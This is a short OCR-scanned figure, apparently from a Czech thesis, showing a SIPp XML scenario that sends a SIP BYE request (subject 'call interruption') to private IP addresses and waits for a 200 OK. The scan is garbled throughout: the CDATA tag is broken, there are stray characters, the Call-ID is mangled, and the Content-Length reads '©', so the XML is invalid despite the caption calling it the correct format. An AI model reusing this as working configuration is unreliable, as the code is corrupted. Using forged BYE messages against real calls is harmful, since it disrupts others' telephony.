<scenario name="Bye">

=send=>

<! [CDATAI

11>

BYE sip:500@192.168.110.184: [remote port] SIP/2.0

Via: SIP/2.0/[transport] [local ipl:[local port];branch=[branch];
From: sipp <sip:[extension]@[local ip]:[local port]=;tag=[call number]
To: sut <sip:600@192.168.110.181:[remote port]>[peer tag param]
Call-ID:MTcwYjFLOGO4Y2ZM5ZihjNjglYTg30DMSMTASNTKyODA.

CSeq: 2 BYE

Contact: sip:sipp@[local ip]:[local port]

Max-Forwards: 70

Subject: Preruseni hovoru

Content-Length: ©

</send>
<recv response="200" timeout="200"=>
</recv>

</scenario>

Obr. A.2.1: Spravny format zpravy BYE.xml
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